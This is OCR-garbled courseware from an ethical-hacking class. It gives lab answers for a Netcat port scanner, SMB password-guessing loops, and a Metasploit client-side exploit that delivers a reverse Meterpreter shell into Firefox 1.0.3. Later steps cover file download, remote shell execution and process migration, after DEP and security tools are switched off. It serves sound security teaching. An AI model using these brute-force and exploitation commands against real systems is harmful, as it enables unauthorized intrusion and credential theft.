ent 11. i-cud 11: NOTSOCII

(UNKNOWN) [i@.I.1@.5@I 25 (?) open
ent II. i-cud II: HOTSOCI<

(UNKNOWN) [I.I I115I 53 (?): connection refused
ent U. i-cud II: NOTSOCK

(UNKNOWN) [1@.I@.i11.5111 811 C?) open
et tineout

For Challenge 3, we were trying to build a port scanner for selected ports using Netcat and
FOR ¡F. First off, our hint told us to build a file called ports.txt using echo. The screenshot
above shows the creation of this file.

Then, to create a port scanner out of Nctcat that itcratcs through this file, we can usc:

C:\> for /f %i in (ports.txt) do @c:\tools\nc.exe n v-v w3
10.10.10.50 9j.

This command will start a FOR /F loop, using %i as a variable, which will take on values
from each line in ports.txt. At each iteration, the loop will turn off echo (@) and invoke
Netcat (c:\tools\nc.exe). Netcat, in turn, is configured not to resolve names using DNS (-n),
running very verbosely (-vv), waiting no more than 3 seconds for each port (-w3) to connect
to target 10.10.10.50 on port number %i (which we got from the file ports.txt).

The output here shows which ports are open with the "open" syntax. For closed ports, we
see "connection refused". For those ports that respond with a connection string, like the
FTP server on TCP port 21 or the Secure Shell daemon on TCP port 22, we can even see its
version string.

191

>) ports.txt
» ports.txt

C \WINDO S\vtn2\rmd p a» portstxt :\tools> foi- /f zi in (ports.txt) do Ic:\too1\nc.e
» ports.txt e n vu u3 11.1@.5O zi

cnt II. icud II: NOTSOCII
cli Testin & i i - ng - uu'J, J-Ui lugnts 191

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Windows Command-Line 
Answer to Challenge 4 

C: WLNDOWS\system 

C:\tools\john-16\run>foi' /f '.i in (passworcìlst) do Iecho i 
& Inet ue \\1 11ø.il si /u:falken 2>nul && pause 
81! comment 

123 4S 
abc 123 

password 

:\tools\john-16'\run>echO ted » usertxt :\tools\john-16\run>echo password » pass.txt 

:\toois\john-l6\run>roho susan >) user.txt :\tools\john-16\run>eoho joshua » pass.txt 

:\tools\john-l6\run>echo falkon » user.txt :\tools\john-16\run>echo stuff » pass txt 

:\tools\john-16\run>echo joe )> usortxt :\tools\john-16\run>echo hello » pass .txt 

:\tools\john-16\run>echo george » user.txt :\tools\john-l6\run>eoho world » pass.txt 

:\toois\john-l6\iun>tpe user.txt 
ed 

usan 
alken 

0e 
eorge 

\too ls\john-l6\run >,. 

:\tools\john-16\run>tppe passtxt 
as sword 
os hua 

tuff 
elio 
orid 

\too ls\john-l6\run> 

For Challenge 4, the command to guess passwords for user falken from John the Ripper' s 
password.lst against target 10.10.10.10 is: 

C:\> for If %i in (password.lst) do @echo %i & @net use 
\\1O.1O.1O.1O %i /u:falken 2>nul && pause 

This command assumes that password.lst is in the same directory that the FOR ¡F loop is 
running from. When executed, this command should determine that the password for 

username falken is joshua. 

To create the user.txt and pass.txt files, we simply use the echo command as follows: 

C:\> echo ted » user.txt 

C:\> echo susan » user.txt 

C:\> echo falken » user.txt 

C:\> echo joe » user.txt 

C:\> echo george » user.txt 

Review your user.txt file with the type command: 

C:\> type user.txt 

Create the pass.txt file in a similar fashion. 
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Windows Command-Line
Answer to Challenge 4 (2)

C\W1NDOWS\system32\cmd.exe
:\tools\jolìn-16\run> or i in (user.txt> do @(for /f zj in (petss.txt> do 1J

ho i:zj & net use \\lll@1 >j /u:xi 2>nul && echo Zi:j » success.txt &&net use \\l1l.1 /del)
ed: password
cd: joshua
ed:stuf f
ed:hello
ed: world
usan :password
usan :joshua
usan: stuff
usan :hello
usan: world
alisen :passwoid
alisen :josliva
he command completed successfully.

wets deleted successfully.
alkeri :stuf f
alken :hello
alken :iorld
oe :passwoid
oc :joshua
oc :stuff

ted:password? 10.10.10.10
ted: joshua?

ed: stuff'?

-lDLJ
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There are many ways to solve the username and password guessing ioop challenge. One
command that does is:

C:\>for If %i in (user.txt) do @(for If %j in (pass.txt) do
@echo 9i:%j & @net use \\1O.i.O.i.O.1O %j /u:%i 2>nul && echo
%i:9j » success.txt && net use \\1O.1O.1O.1O /del)

It's not pretty, but it does indeed have the desired functionality. Also, remember that this
command is using entirely built-in tools on stock Windows machines, not requiring us to
install any software whatsoever on the attacking machine, making it ideal to use on a newly
conquered system to perform password guessing attacks against other machines.

Let's review the components of this command. We start with a FOR/F loop, using a
variable of %i that will take on the values of each line in user.txt. For each line in that file,
we do the following. We turn off echo (@) and run another, embedded FOR/F loop. This
one iterates with a variable of %j, which will take on the value of each line in pass.txt. For
each line in that file, it will print on the screen the usemame and password that it is
guessing, separated by a colon (@echo %i:%j). It will then try to make an SMB connection
with the target with this username and password combo (@net use \\l0. 10.10.10 %j /u:%i),
sending the error messages off to the big bit bucket in the sky (2>nul). Then, if the net use
command is successful (&&), it stores the username:password combo by appending it to the
file success.txt (echo %i:%j » success.txt). It then drops the session (&& net use
\\10. 10.10.10 /del). Note that we've enclosed our internal/embedded FOR /F loop in an
extra set of parentheses O to make clearer that certain items are grouped together. However,
they are not required for this command to work successfully.

One limitation of this command is that it continues guessing passwords for a given username
even after it has successfully guessed the password for that account.
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Net\vork Pen 

Conclusion for 560.3 

That concludes the 560.3 session 

- An optional exercise follows, but it is not a 
requirement for the course 

In 560.4, we'll resume our exploitation 
discussion, with a look at techniques for 

making Windows machines run 
commands remotely 

Then, 560.4 will focus in detail on 
password attacks 

ir tbicai I lacki All Rights ReServed 
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That concludes the 560.3 session. We have an optional exercise included in an appendix 

next, but that exercise is not required. If you have extra time, you may want to do the 
following exercise, but you do not have to perform the appendix exercise for the course. 

In our next session, 560.4, we'll finish our discussion of the exploitation phase. In 
particular, we'll look at a variety of techniques for getting a target Windows machine to run 
commands on behalf of an attacker, initiated remotely by an attacker across a network. 

After concluding our exploitation discussion at the beginning of 560.4, we'll then zoom in 

on password attacks, talking about them in detail, with practical tips for password guessing, 
password cracking, rainbow table, and pass-the-hash attacks. 
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Appendix: Client-Side Exploit
OPTIONAL Exercise

Note: Because this exploit only
works with <3O% success rate, we

include it as an appendix for an
OPTIONAL exercise

Ncwork Pen Testing & Ethical Hacking 24ìÚ9, All Rights Reserved 195

At this point, we've covered all of the official material in 560.3. However, we have an
optional extra exercise covered in this appendix, which involves exploiting a browser using
a client-side attack with Metasploit against an unpatched version of the Firefox web
browser.

Unfortunately, this exploit only works less than thirty percent of the time. Thus, it
may not work for your system, despite attempting it several times. For that reason,
this exercise is OPTIONAL.

You can try the exercise if you have extra time, but don't worry if the exploit is
unsuccessful. Even without a successful exploit, you will still get experience in configuring
Metasploit for a client-side attack.
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Client-Side Exploitation and 
Meterpreter Exercise 

In this exercise, we will exploit a vulnerable 
version of the Firefox browser for Windows 

- And inject a reverse shell Meterpreter payload 

)rk 1en I esting & Ithica1 Il (UU9, All Kights Keserveu 

Windows 
Install Firefox 1.0.3 

Make Firefox Surf 
to attacker machine 

Reverse Meterpreter 
Shell runs in 

browser memory 

Firefox 

Linux (virtu o 
\letisploit0 

Configui 

Respond 
and Meterp 

Use Meterpr 

access vieti 
machine. I 

In this exercise, we'll analyze client-side exploits, using Metasploit to deliver the Meterpreter to a 
vulnerable browser. Specifically, we'll exploit the Firefox browser (version 1.0.3), which has a 

buffer overflow vulnerability. Our Metasploit payload will be a version of the Meterpreter that 

uses a reverse connection from the exploited browser back to the attacker. 

You'll be running this exercise on your own systems, with the vulnerable Firefox browser on your 
Windows box getting exploited by your Linux virtual machine. On the slide, we depict Steps O 

through 5 of this exercise. Note that through the rest of this exercise, each of these step numbers 
will still apply. That is, Step 1 is always Step i for this exercise, although we'll break it down into 

sub-steps lA, lB, etc. 

In Step 0, we'll install the vulnerable Firefox browser on our Windows machines. 

In Step 1, we'll configure Metasploit so that it implements a simple web server waiting for a 
browser to surf to it. When a browser sends an HTTP request, Metasploit will exploit the browser 

and deliver the Meterpreter as a payload. 

In Step 2, we'll make the vulnerable Firefox surf to our Linux machine, where Metasploit lies in 
wait. This action would model an innocent user who surfs to an attacker website or a third-party 

site hosting some of the attacker's content. 

In Step 3, Metasploit will respond to the browser with an exploit that loads the Meterpreter. 

In Step 4, the Meterpreter runs inside the browser' s memory space, shoveling a reverse 
Meterpreter shell back to the attacker. 

In Step 5, we (the attackers) will interact with the Meterpreter running in the compromised 
machine' s browser. 
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O) Install Vulnerable Firefox
On the CD, in the Windows directory, double click on
Firefox Setup 1.O.3.exe

Selsap Type
Ll-!ss;e eiripspiions

Welcome to Mozilla Firefox

Socio aborT io rrslall Meats Frrolao i 53

Il o siroey recoeroesded thal yes esT all saliras.:

Choose the lype ol Setop too poter. tee stck heel

r Standaid

Browser scali be insiolind with the mort coseros options

55 Çsatom

tos reay shoote erdic,drsat opttens to be installed, Recormiorided or eoo

sTack Noci' j
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Set Up Shorterats
[reales Prsgrars 5:

B,owse FuÑ41

Ch000e a Folder to iotall Molla Firotax loto:

Create coos tos Feeto

E 0e ott Cienktoc
Faldar: j hrefosterep

E lnrspStartetarr tÏ4 Make dass Felder j

,c.J Cygnus

Docceisric osd Settiogo

L.- dotrrilond
o DRIVERS

EFTTMFWF

:b; I3yb

licor>

u
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To begin the exercise in Step O, we need to install a vulnerable version of Firefox. Some of you may
already have a fully patched version of Firefox installed, which we don't want to interfere with.
Thus, we'll install Firefox in a completely separate temporary directory. Start the exercise by making
a temporary directory using a cmd.exe command prompt to type:

C:\> mkdir c:\firefoxtemp

Then, double click on the Firefox installation program on the course CD. It's in the Windows
directory, and is named "Firefox Setup 1.O.3.exe".

In Step OA, in the first window you see (titled "Firefox Setup"), simply click on "Next>" to start the
installation.

Accept the license agreement in the window titled "Sofiware License Agreement". Click "Next >".
In Step OB, in the window titled "Setup Type", click on "Custom:" for install type. Then, click "Next
>',

Then, in Step OC, in the window titled "Install Folder", click Browse, and choose c:\firefoxtemp from
the list. When it is highlighted, click OK. Then, hit "Next >".

In the window titled "Select Components", do not select Developer Tools or Quality Feedback
Agent. Simply click "Next >".

In the window titled "Set Up Shortcuts", in Step OD, deselect all of the options: On my Desktop, In
my Start Menu Programs folder, In my Quick Launch bar. Then, click "Next >".

Finally, click "Next >" and then Finish. Firefox will be installed in the firefoxtemp directory. By
default, the installer will automatically launch Firefox. If it doesn't, run Firefox by invoking (at
command line or by double-clicking in the GUI):

C: \> C:\firefoxtemp\firefox.exe

Note that you can invoke Firefox this way at any point in this exercise if you ever have to re-run it.

CaecalOK
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O) Disable Data Execution 
xii Prevention for Firefox 

Windows Data Execution Prevention 
might kill a process that is being 

exploited 

Thus, we need to put an exception in 
for Firefox 
Go to Control 

Panel 
- 

System -Adva nced -* 
Performance-Data Execution 

Prevention 
Select "Turn on DEP for all programs 

and services except those I select" 
Click Add 

Browse to c: \f i refoxtem p\fi refox.exe 
Click Apply, then OK 
You wifi now need to reboot 

Items in DEP exception list (if any): 

Now, select the radio button that says "Turn on DEP for all programs and services except 
those I select:". 

Then, click the Add... button. In the file selection window that comes up, browse to and 

select c:\firefoxtemp\firefox.exe. Click OK. 

Then, click Apply and then OK. Now you can close your control panel. You must reboot 
Windows for this change to take effect. Reboot now. 

Visual Ef lects Advafed'VerltIOr1 

Data Execution Prevention (DEP) helps protect 
against daroae troro viruses and other security 

threats, Hovi does it sork 

C Turn on DEP For essential WMows programs and services 
only 

Tpri on DEP Foi a programs and services except those 
select: 

Fire1ox 

Next, for the Firefox version we just installed, you should disable Data Execution 
Prevention, that Windows feature that marks certain pages in memory as non-executable, 

breaking some exploits altogether and lowering the probability of success of others. To 
explicitly disable DEP for Firefox, access the following screen: 

Control Panel-f System-Advanced-)Performance- Data Execution Prevention. 

Make a note of your existing settings, so that you can restore them when you finish with this 
exercise: 

Radio button setting 
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O) Disable Certain Security
Tools that Block Exploits

Depending on the vendor, some of the following tools include
functionality that block exploits or stop their payloads from
running:
- Anti-virus
- Anti-spyware
- Personal firewall

Host-based Intrusion Prevention System
Browser "wrappers" I browser
protection software
Security suite
Other tools

Thus, you must disable this functionality or it may interfere
the exploit
You must disable it using its admin GUI
- Don't just kill its process or service, as it will likely still run

Network Pen Testing & Ethical I Tacking c)2ÚU9, All Rights Reserved 199

with

As a final step in preparing our Windows machine for the exploit, you must turn off any
installed security software that may block an exploit or stop payloads from running. There are
countless different security tools that may have these features, depending on the particular
vendor. Anti-virus tools, anti-spyware programs, personal firewalls, Host-based Intrusion
Prevention Systems (IPSs), browser protection software, and general purpose security suites all
may include functionality that prevents successful exploitation.

Thus, you'll need to disable such software for this exercise. To disable this software, use the
administrative GUI for the security tool to shut off protection. DO NOT merely kill its process
or shut down its service. Most modern security tools inject their code into other running
processes, so if you merely kill their process or shut down their services, they still continue to
protect you! In fact, with their processes and services dead, they will likely protect you but
won't be updateable via the administrative GUI while their processes are dead. Thus, if you kill
the processes or stop the services, reboot so you can get into the admin GUI for the security tool
again.

1f you don't have admin GUI access for the security tool, you really need such access for this
exercise and the rest of the course. You could contact someone back at the office to grant you
such access. Alternatively, with the appropriate permission from your organization, you could
uninstall the security tool or boot to safe mode to try to shut it off. Regardless of how you do it,
you should disable this protection before moving forward with the exercise. If the exercise does
not work, it is likely because of such software.
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1) Configure Metasploit 

We'll configure 
Metasploit to listen as 

a web server, ready 
to deliver up the 

Meterpreter payload 
We'll use Meterpreter 

payload with reverse 
connection, from 

browser back to 
Metasploit 

Elle Edit View lerminal Go Help 

[root0t4llnux rootLe cd /hoine/tools/frajnework-3.O 
[roottt4linux frarnework-3 .0] # 
roott4liriux fraeework-3 .0}# /insfconsole 

< netasplol 

Exploits 

\ (on) 
(_) )\ 

=[ niet v.0 
- --=[ 17 exploits - 104 payloads 

- --=[ 17 encoders - nope 
=1 0 aux 

est > show exploits 

Network Pen Testr ica1 I LicL 

Next, we'll move to our Linux virtual machine. Step I involves running Metasploit and 
configuring it to exploit the Firefox browser. Login with root privileges, and invoke 
Metasploit as follows. 

In Step 1 A, change to the Metasploit directory: 

# cd /home/tools/framework-3.O 

Tn Step IB, run the Metasploit Framework Console: 

# ./msfconsole 

Note that your command prompt is now the Metasploit Framework console prompt (ms f 
>). 

In Step 1C, let's look at all of the exploits included in Metasploit. 

msf > show exploits 

Note that here are a huge number of exploits for all kinds of systems. Both client and 
server-side exploits are included here. If you look carefully, you can see that there is one 

exploit for a vulnerability called "mozillacompareto". Wc will use this exploit. 
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1) Configure Metasploit (2)

dula optians:

Eile FdIt View Terminai (o Nela

nsf 4use exploit/inulti/browsec/nozilla clnp1treto
J

smf -I.
-ssf exploit(niozilla_coinpnreto) >[set PAYLOAD windows/ineterpreter/reveroe_tcp
PAYLOAD > windows/meterpreter/reversetcp
insf exploit(niozílla_conipareto) >
insf exploit(niozilia_connpareto) >

Naine Current Setting Required Description

OLL ¡haine! tools/framework-I .0/data/nieterpreter/metsrvdil yes
he DLL to upload

SRVIIOST 12700.1 yes The local host to Unten on
SRVPORI' 8080 yes The local part to listen on.
URLPAT}-i no The ORi to use for this exploit (default is random)

Payload options:

The local paiL
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To continue with Step 1, we now choose the exploit in Step 1D. We'll use the Mozilla
CompareTo buffer overflow exploit, which applies to versions of Mozilla and Firefox prior
to 1.0.5. The browser we installed in Step 0 has a version of 1.0.3.

msf > use exploit/multi/browser/mozillacompareto

Note that our prompt has changed and now includes the name of the exploit we've chosen.

In Step i E, we choose the payload to use in the exploit. We've opted for a Meterpreter
payload, that will make a reverse TCP connection back to the attacker once it is running
inside the vulnerable process.

msf exploit(mozillacompareto) > set PAYLOAD
windows /meterpreter/reverse_tcp

Next, let's look at the options that are associated with this exploit, in Step IF:

msf exploit(mozillacompareto) > show options

We have to configure these options for our attack.

201

(show ptions
J

Naine Current Setting Required Description

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


1) Configure Metasploit (3) 

Elle Edil View Terminal Go HelD 

nsf ex oit(mozH1a_ospareto) set SRVHOST 10.10.75.2 
J 

SRV}{OST => 10.10.75.2 
55f expioit(Tnozilla_coinpareto) 
nsf expioit(nozi11a_conipareto) 

URIPATH = index.htlnl 
11sf exploit(lnozilla_cofnpareto) > 

nf exploit(inoz.i.ila_conipareto) 
LHOST => 10.10.75.2 

nisf exploit(niozilla_conpareto) 
sf exploit(mozflla_coinpareto) 

TARGET => O 

msf exploit(inoziila_compareto) > 

set URIPATH index.htni 
:i 

Again, continuing with Step 1G, the first option we'll set is the SRVHOST. This will be the IP 

address we want Metasploit to listen on with its web server. We should enter the IP address of our 
Linux machine. 

msf exploit(mozilla_compareto) > set SRVHOST 
[YourLinux_IP_Addres s] 

We could also set the port for the Metasploit web server to listen on, but let's just leave it with the 
default port of TCP 8080. 

In Step 1H, we need to set the path to the exploit page that Metasploit will generate. By default, it 

creates a random name for the page. Instead, let's specifically set it to index.html. 

msf exploit(mozilla_compareto) > set URIPATH index.html 

In Step i I, we need to tell Metasploit where it should configure the Meterpreter reverse shell to 
connect to. We want it to connect back to our Linux machine, so let's set it to do so: 

msf exploit(mozilla_compareto) > set LHOST 
[Your_Linux_I P_Address] 

And, finally, in Step I J, we need to tell Metasploit what type of target machine we are interested 
in. There is only one type of target for this exploit, but we still have to specify it. For some 

Metasploit exploits, the target type is automatically set. That's not the case for the 
mozilla_compareto exploit, so we set it like this: 

msf exploit(mozilla_compareto) > set TARGET O 

Metasploit is now configured. We're almost ready for the attack, but we have a little 

housekeeping to do first. 
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set TARGET () 
:i 

set LHOST 10.10.75.2 
J 
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1) Configure Metasploit (4)
Eile Edit ew lermirial Go In

inf expioit(mozil1a_copareto) rvi.. iptabies stop
J

j Executing: service iptable

Flushing ali chains:

Removing user defined chains

Resetting buflt-in chains to the default ACCEPT policy:

CAWINDOWS\svstern32\cnwLex

'nains u, i hyten of data:

A nice config

Jsummary!

In Step 1K, to make sure that Windows can reach our Linux machine unfettered, let's drop the firewall
on the Linux machine. We can do this by running:

msf exploit(mozilla compareto) > service iptables stop

Note that we've run a generalized operating system command from within the Metasploit console.
That's a nice capability as it gives us access to the local machine's resources from right within
Metasploit.

In Step IL, let's also make sure that Windows can ping Linux. On your Windmvs machine ala
cmd.exe, run:

C:\> ping [Your_Linux_IP Address]

If the ping works successfully, we are ready to go. If it does not, double check your network settings.

And, finally, in Step 1M, we tell Metasploit we are ready to exploit the target:

msf exploit(mozillacompareto) > exploit

Note that Metasploit doesn't actually exploit the target with this command. That's because we are
using a client-side exploit. Metasploit simply starts up a web server listening on the configured port,
waiting for a browser to surf to it. That'll be our next step.
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ins r

Inst epl3 fron 1.lM.75.2: hyten32 timeKims TTL-64
eply fron l.i@.Th.2: ht,tes=32 time<los TTL64

inst epl fron 1.1D.75.2: hates 32 tine<lnn HL 64
eply fron iLi@.Th.2: btee-32 time<ims TTL-64

insf

nsf N
rnsf expioitmjnozilia_comnpareto)

nsf exp1oít(eoziilacompareto) > exploit

[] Started reverse handler

[] Using tiRi: http://lO.iO.7S.2:8080/index.htinl

[] Server started.

[] Exploit running as background job.

est exploit(inozilla...conìpareto) > I
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2) Make Firefox Surf to Metasploit 
and 3) Watch Metasploit Respond 

)Dne second please -Mo2iHa ireIox 

hp://10.1O.75.2:8O80findexhtml (J1 Go 

FUe Edit View Terminal Go Help 

nsf expioit(rnozíila_conrpareto) > expiait 
[n] Started reverse handler 
1[«] Using URL: bttp://lO.lO,75.2:8080/index.htnil 
[] Server started. 
[*1 Exploit running as background jab. 
nsf exploit(inozill&compareto) > [] Transritting intermediate stager for over-sized stage. 

(89 bytes) 
[*] Sending stage (2834 bytes) 
[n] Sleeping before handling stage... 
*j Uploading DLI (73739 bytes).. 
[*] Upload completed. 
[*1 Meterpreter session i opened (10.1075.2:4444 - 10.10.89.112:3482) 

N etw )t 1g & i:i hi Y:), \H 1.ights ]is ' cd 
204 

For Step 2, in a running Firefox 1.0.3 window on your Windows machine (you can check 
the Firefox version by going to Help-About Mozilla Firefox), we tell the browser where to 

surf by entering a location line of: 

http: / / [Your Linux IP Address] :8080 /index.html 

Don't forget to put in the :8080. 

In Step 3, simply watch Metasploit in your Linux machine. When it receives a request from 

a browser, it will indicate that it is transmitting the exploit, uploading its DLL. 

The exploit has been successful when the Meterpreter, running in the browser's memory, 
makes a reverse connection back to Metasploit. This is indicated on the Metasploit screen 

with the message: 
"Meterpreter session [N] opened" 

N is an integer count of the number of sessions Metasploit is managing for you. It also 
prints out the details of the IP addresses and port numbers for that session. 

DO NOT CLOSE THE BROWSER ON WINDOWS! We are now running in that browser. 
It'll look frozen, but keep it open so that we can use the Meterpreter running inside it. 
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3) If Fìrefox Crashes...

If Firefox crashes, just run it
again

Remember, most exploits have
a probabilistic nature
- They don't work 100% of the time

So, relaunch Firefox as follows:

:\>c :\fii'efoxtemp\fipefox.exe

tireloo.eoe h as encountered a problem and needo lo
close We are sorry tor the inconvenience.

It you irvin n Ihn rorde ut smeeRing, the rrdorrnalcr you were working w,
nsgfrt be ut,l

Pleaun tell Miusonofl abnul thin problem
We rave created arr error report hat you carr Servi Io us We net treat
Ihn report as conlrdenrral and oronyrrrorms

To ven edror data tin error report nordairrn. dick here

Seed Ever Report Poet Send
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When Metasploit exploits Firefox, there is a chance that Firefox could crash. Remember,
most exploits have a certain probability of success, falling short of 100%. We chose to use
the Firefox exploit because it has a higher probability, but it will sometimes crash the
browser.

If your browser does crash, simply re-run it. You can do this at the command line:

C: \> c:\firefoxtemp\firefox.exe

Once Firefox is running again, try to make it connect again to:

http: II [YourLinux_IP_Address] : 8080/index.html

Note that Firefox may crash. The exploit works about 30% of the time. Thus, if it fails,
you may want to try running it again. Hit the up arrow in your cmd.exe to re-execute the
command:

C: \> C: \firefoxtemp\fìrefox.exe

Then, try to surf to that URL again. Remember, this is an unreliable exploit. That is why
we 're covering it in this OPTIONAL appendix. Even ijit doesn 't work on your particular
system, you may want to review the screenshots on the jòllowing pages to see what it looks
like when it succeeds.
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Active sessions 

4) Look at and Interact with 
Reverse Meterpreter Session 

Eile Edit ew Lerminal o Help 

Id Description Tunnel 

Meterpreter 10.10.75.2:4444 > 10.10.89 112:3482 

f exploitùnozilla_coïnpareto) 
I Starting interaction with 1. 

ineterpreter 

> sessions -i i J 
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In Step 4A, we ask Metasploit for an inventory of the connections it is managing for us 
between compromised systems and our machine. We can do this by asking for a list (-I) of 
sessions: 

msf exploit(mozilla_compareto) > sessions -1 

That is a -1, as in the letter L lower-case. It is not a one. Furthermore, note how Metasploit 
displays the detailed session information from our Windows machine connected back to our 

Linux machine. 

In Step 4B, we tell Metasploit that we want to interact (-i) with session number 1: 

msf exploit(mozilla_compareto) > sessions -i i 

Our prompt now changes from the Metasploit prompt (msf) to the Meterpreter prompt: 

meterpreter > 

The Meterpreter is now ready for us to interact with it, accessing the victim machine. 
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5) Interact with Meterpreter:
System Info

We'll start interacting with the Meterpreter by getting
information about its running environment

Meterpreter
commands
run here.

Reverse
Mete ireter

Windows
Firefox

V
File Edi

rneterpretlr . sysinfo

roscos lis

Ic0eP0tdt

:terpre
Server us -,
loe terpret > po

Connection

e Pack 2).

Linux (virtual) You type
here.

Networ cn est1ng(Jit11ca ac ng cC... ,I1 ' gts 'eserve 207

With the Meterpreter running, let's explore the system a little bit. Run the following
command:

meterpreter > sysinfo
This shows us our operating system type of the compromised machine.

Now, let's determine our user name on the victim box:

meterpreter > getuid
We should have the same user name that you used to invoke Firefox, since we are running
from within its memory space.

Next, let's look at the processes running on the screen:

meterpreter > p5

Look carefully for the process named fircfox.exe. Make a note of its process ID number
here:

Fill in:

And, finally, let's look at the commands we have available:

meterpreter > help
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- -inu 
Elle EdIt 

Ineterprete 
:Ineterprete 

nie t erpr e t e 

met erpr e t e 
meterprete 

1Listing: 
c:\ 

l40777/rwxrwcrinx 

100668/rw-rw-rw- 

5) Interact with Meterpreter: 
File S stem 

de Size 

40777/rwxrwxrwx 
232a3 5d181d07288 

100666/rw-rw-rw- 293 fil Sat Sep 22 18:21:43 -0400 2007 

111 rUt1IL, flL,L1 \ 208 

Now, let's explore some commands we have for interacting with the file system. First, we 
will navigate to the C:\ directory: 

meterpreter > cd c:\ 
Note that, within the Meterpreter, you can also refer to c:\ as /. So, the commands "cd c:\" 
and "cd I" do the same thing 

Next, let's find out where we are in the directory structure (given that we just changed to 
C:\, we should be there). The particular command depends on the version of the Metcrprcter 
you are running. For some Meterprcter versions, the command is pwd. For others, it is 

getcwd. Run either of them. One or both should work: 

meterpreter > pwd 

meterpreter > getcwd 

Now, let's get a directory listing: 

meterpreter > is 

And, finally, let's change into the temp directory we created for Firefox and get a directory 
listing: 

meterpreter > cd c:\firefoxtemp 

meterpreter > is 

t niodified Naine 
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O dir Suri Dec 02 13:34:43 -0500 2007 .exe 

1024 fil Thu Mcv 08 18:24:32 -USD0 2007 md 

D dir Wed Nov 22 05:45:49 -USD0 2006 67a2c7ecbSf7cfl4 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


5) Interact with Meterpreter:
More File S stem

Eile Edit ow Terminal Go Help

rneterpreter(> edit testfile.txt j

meterpreterf> cat testfile,txt
J

Hello. This is sorne text.

Have a nice day!

!ineterpreter{> download testfile.txt /tinp
J

j[*] downloading: testfile.txt > /tinp

downloaded : testfile.txt > /trnp/testfile.txt
Tneterpreter

n

Now, let's try editing a file and then downloading it. Use the following commands to create
a new file called testfile.txt:

meterpreter > edit testfile.txt

Place some data in this file by hitting the "i" key to go into Insert mode. Then, type some
text.., anything you'd like.

To save your file, hit the "Ese" key, followed by the ":" key, and type wq, and then hit the
"Enter" key. That will Write and Quit.

Now, look at the contents of your file:

meterpreter > cat testfile.txt

Finally, download a copy of your file into the /tmp directory of your Linux machine.

meterpreter > download testfile.txt /imp

Then, outside of the Meterpreter, in a separate window on your Linux system, look at the
contents of this file:

# cat /tmp/testfile.txt
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e: \firefoxtem 
hoatnaine 

Inycomputer 

e: \firefoxteinp 
ipconfig 

4> hostname 
J 

[ ipcontig J 

Windows IP Configuration 

5) Interact with Meterpreter: 
Process Execution and Interaction 

x2i2iii _____ - x 

Eile Edit iw Terminai (n Hein 

lineterpreter > execute -f cnidexe -c 
J 

Process 274 created. 
Channel il eated. 

lueterpreter > interact 11 
J 

Interacting Ld 

Microsoft Windows XI' [Version .L.26OÛ] 

(C) Copyright 198-2OO1 Microsoft Corp. 

Iackiii 9, AI! Kigh Keserv ed 210 

Now, let's see how we can use the Meterpreter to create process and interact with them. We 

can use the "execute" command to run a program. Let's run a cmd.exe command shell. 

We'll invoke it "channelized" with the "-e" option, which means that the Meterpreter will 
keep a communications session open with the executed program so that we can interact with 

it. 

meterpreter > execute -f cmd.exe -c 

If the execution of the program is successful, the Meterpreter will tell us its process ID, and 

the session number we can use to interact with the process' standard input and output. We 

can perform such interaction using the interact command as follows: 

meterpreter > interact [N] 

The IN] should be replaced with the session number you saw in the output of the execute 
command. 

You can now type whatever commands you'd like inside of the cmd.exe: 

C:\> hostna.me 

C:\> ipconfig 

C:\> dir 

And so on. To exit your shell, simply type exit, and you should be back to the 

meterpreter > prompt. 
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5) Interact with Meterpreter:
Process Migration

Visual Effect, Advanced Ema E 'ncuilon PIeer]rlon

Data Exencon Preventn (DEP) helps protect

¿ aganet darrrve f roar airusan and other oenurrty
tIneato, fon doe tnrork

turn on DEP for esserEini Wkrdows proorlirs and serVent
ordy

( Tgrn on DEP for at programs and nerrden nooepr thoce t
setenE

ElNorepod

Add...

Cannel

Enronan

\ctwor j'En I ciing

bony:

,rj Type the name ob a program, bolder, docurpenl,, or'I": Interrrnt retour ce, and Windows mill open E for you.

Open: f notepadexe

9

Cancel I Boonsce,

We will now migrate from one process to another. We'll jump from firefox.exe into a notepad.exe
process on our machine. But, first we'll have to disable DEP for Notepad, because we will be
injecting code into some data sections of that program and forcing it to run. Do this by going to

Control Panel- SystemAdvancedPerformancc-* Scttings-Data Execution Prevention.

Add c:\windows\system32\notepad.exe to the list. You should not need to reboot.

Then, let's run notepad. On your Windows machine, go to Start->Run... and type notepad.cxe.
That's the process we'll change into.
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5) Interact with Meterpreter: 
Process Migration (2) 

2mwok4T 
Eile Edit View Terminal Go Help 

3752 PO9ERPNT.EXE 

T. EX8 

1456 EXCEL.EXE 

XE 

3800 TSCHe1p.exe 

2956 Sna8Tt32.exe 

( 2688 notepad.exe J 

3968 firefox.exe 

Ineterprete > Taigrate 2688 
[] Migrati 
['] Migrati esfu11y. 

îneterprete4> gctpid J 

Current pid: 2688 
Ineterpreter 
rk Pen Testing & thical I I Lclnng \11 Rgh Retived 212 

C: \Prograin Fi.Ies\Microsof t Office\Office\POWERPN 

C: \Prograrn Files\Microsoft Office\Offìce\EXCEL E 

C: \'rograin Files\TechSnhith\SnagIt 8\TSCHe1p exe 

C: \Prograe Files\TechStn±th\Snaglt 8\SnagIt32.exe 

C: \WINDOWS\system32\notepad. exc 

C: irefoxteinp\firefox.exe 

Next, back within the Meterpreter, we get our current process ID number: 

meterpreter > getpid 

Now, get a process list, looking carefully through it for notepad.exe. 

meterpreter > ps 

Make a note of the process ID number of notepad.exe here: 

Then, to jump into that process, we use the migrate command, as follows: 

meterpreter > migrate [destination_process_ID] 

For the [destination t,rocess_ID], use the process ID number of notepad.exe. 

To see if your migration was successful, look at your new process ID number: 

meterpreter > getpid 

It should the the number associated with notepad.exe. If so, you just hopped between processes. 
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File Edit View

nie t erpr e t er

5) Exiting Meterpreter and
Metasploit

)

Lernhinal Go Help

You may want to:
Restore DEP settings to original value
Restart security tools

Network Pen Testing & Ethical i lack 2009, All Rights Reserved 213

To finish the exercise, you should cleanly exit the Meterpreter by typing:

meterpreter > exit

Then, to exit Metasploit, type:

meterpreter > exit

You may want to restore your DEP settings to their original configuration and reactivate
your security software.
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[*] Meterpreter session 2 clos
msf exploit(niozillacoinpareto)
[rootctht4linux frainework-3.O]

exit
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